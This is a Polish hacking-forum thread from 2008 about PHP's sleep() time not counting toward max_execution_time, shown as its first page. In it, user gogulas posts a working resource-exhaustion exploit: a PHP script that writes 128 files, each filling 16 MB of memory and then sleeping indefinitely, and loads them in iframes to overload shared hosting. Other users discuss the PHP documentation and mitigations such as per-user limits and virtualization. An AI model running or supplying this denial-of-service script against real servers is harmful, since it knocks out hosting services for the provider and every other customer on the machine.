Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki 1 do 10 z 16

Temat: neibezpieczne dzialanie funkcja sleep() w PHP

  1. #1
    Avatar gogulas
    gogulas jest offline killboy powerhead
    Zarejestrowany
    Sep 2007
    Skąd
    Tu
    Postów
    1,236

    Domyślnie neibezpieczne dzialanie funkcja sleep() w PHP

    Opsiuje na lamach HACK.pl pewna podatnosc php na atak.
    mianowiscie max_execution_time ustawiony jest najczesciej w safe_mode na 30-60 sekund
    nie wlicza sie do niego np. czas komunikacji skryptu z baza sql..
    tak samo czas przez jaki funkcja sleep() holduje skrypt NIE JEST WLICZANY DO MAX_EXECUTION_TIME

    wiec:
    <?
    while(memory<8/16/24/32)$a.=1;
    sleep(999999999999);
    ?>

    odpalamy to xxx razy i zle skonfigurowany hosting lezy... yoyo do niedawna bylo zle skonfigurowane xD

    thanx to: gogulas :P
    Pozdrawiam.
    Ostatnio edytowane przez gogulas : 05-23-2008 - 01:08
    http://gogulas.yoyo.pl/h.gif

  2. #2
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Cytat Napisał http://uk.php.net/set_time_limit
    Note: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running.
    Jak wynika z dokumentacji limit czasu dotyczy ile czasu procesora moze zajac proces... tak wiec wyczerpanie zasobow (zwlaszcza RAMu) przez odpalenie N procesow i ustawienie ich na sleep moze byc dosc realnym zagrozeniem...
    Jak dla mnie kolejny powod aby nie miec PHP na serwerach produkcyjnych
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  3. #3
    Avatar gogulas
    gogulas jest offline killboy powerhead
    Zarejestrowany
    Sep 2007
    Skąd
    Tu
    Postów
    1,236

    Domyślnie

    some exploit :P
    Kod php:
    <?php 
    if (!file_exists('./temp')) (@mkdir("/temp"0777))? $temp='temp/'$temp=''
    else 
    $temp='temp/'
    for(
    $n=0;$n<128;$n++) { 
        
    $rand mt_rand(); 
        
    $fp fopen("$temp$rand.php"'w+'); 
        
    fwrite($fp'<?php while(memory_get_usage()<16000000) $a.=\'X\'; sleep(999999999); ?>');// dla 16mb
        
    fclose($fp); 
        echo 
    "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" height=\"10\"></iframe>";

    exit;
    ?>
    wrzucamy na hosting i odswiezamy przegladarka, kazde odswiezenie to teoretycznie 128 procesow rezerwujacych 16mb ramu, razem 2gb.. czas przez jaki procesy beda wisiec jest najprawdopodobniej nieograniczony....
    Moj pierwszy exploit, calkiem suxx prawda?
    Ostatnio edytowane przez gogulas : 05-23-2008 - 14:55
    http://gogulas.yoyo.pl/h.gif

  4. #4
    Avatar dexter
    dexter jest offline Element wywrotowy
    Zarejestrowany
    Jun 2007
    Skąd
    Poznań
    Postów
    159

    Domyślnie

    bardzo ciekawe - wszystko faktycznie zalezy od konfiguracji serwera
    Czy przypadkiem zastosowanie wirtualizacji na hostingu nie zniweluje tego problemu do poziomu wlasnego konta na tym hostingu ?

  5. #5
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Hmmm a jak rozumiesz tutaj wirtualizacje bo nie bardzo kumam o co Ci akruat chodzi w tym wypadku
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  6. #6
    Avatar dexter
    dexter jest offline Element wywrotowy
    Zarejestrowany
    Jun 2007
    Skąd
    Poznań
    Postów
    159

    Domyślnie

    faktycznie wyrazilem sie dosc nieprecyzyjnie

    Zakladam nastepujaca konfiguracje
    1 wariant
    kazdy klient hostingu ma wydzielona wlasna maszyne wirtualna, w obrembie ktorej dziala, maszyna taka ma naturalnie nalozone limity zasobow systemu fizycznego, wiec wtedy dzialamy do limitow maszyny wirtualnej

    podejzewam jednak ze i taki scenariusz pozwala na dosc istotne naruszenie zasobow systemu, bo nie sadze zeby admini zakladali 100% obciazenie wszystkich maszyn wirtualnych.

    Nie wiem jak to jest faktyczne u takich providerow - pewnie takie maszyny wystawiaja jako serwery dedykowane ;p

    2 wariant
    usluga hostingu www jest uruchomiona na wirtualnej maszynie z - powiedzmy - apache i vhosts - wtedy oczywiscie omawiany bug zadziala zgodnie z zalozeniem

  7. #7
    Avatar elceef
    elceef jest offline Proces bezczynności
    Zarejestrowany
    Apr 2008
    Postów
    200

    Domyślnie

    Wszystko fajnie, ale serwery oferujące usługi hostingowe z reguły mają nałożone ograniczenia na każdego użytkownika. Ograniczenia mogą dotyczyć nie tylko czasu procesora, ale również pamięci wirutalnej (z podziałem na stos i stertę), ilości otwartych plików, maksymalnej wielkości pliku. Pomijam mechanizm quota.

  8. #8
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Tzn w srodowiskach wspoldzielonych (shared hosting) robienie maszyn wirtualnych to ehmmm... malo wygodne - prosciej limity per-user nalozyc i system tego sam pilnuje.

    Bardzo dobre uwagi dexter & elceef!
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  9. #9
    Avatar gogulas
    gogulas jest offline killboy powerhead
    Zarejestrowany
    Sep 2007
    Skąd
    Tu
    Postów
    1,236

    Domyślnie

    memory exhaust to tylko jeden (z grozniejszych) przykladow wykorzystania tej.. nie wiem jak to nazwac... luki :P

    Chodzi jedynie o to, ze pomimo ustawienia max_execution_time proces sie nie konczy & IMO tak byc nie powinno.. niestety wydaje sie ze dla dozorcow php nie ma problemu, usuneli moj bug report... zazwyczaj odpisuja "thanks for reporing, but this is not a bug " tym razem tego nie zrobili, mozna sie tylko domyslac dlaczego.
    Ostatnio edytowane przez gogulas : 05-24-2008 - 23:55
    http://gogulas.yoyo.pl/h.gif

  10. #10
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    jest jeszcze bug fsockopen(), o wiele ciekawszy.

Strona 1 z 2 12 OstatniOstatni

Podobne wątki

  1. [php]humory przegladarki? php? systemu?
    By gogulas in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 1
    Autor: 03-27-2008, 09:46
  2. blad w skrypcie, funkcja str_replace()
    By gogulas in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 1
    Autor: 03-22-2008, 21:37
  3. Excel - funkcja BAHTTEXT
    By northdakota in forum Windows
    Odpowiedzi: 0
    Autor: 01-17-2008, 19:39
  4. Odpowiedzi: 1
    Autor: 05-31-2007, 19:40
  5. PhP
    By Michal_sh in forum Hacking
    Odpowiedzi: 8
    Autor: 04-12-2007, 15:38

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj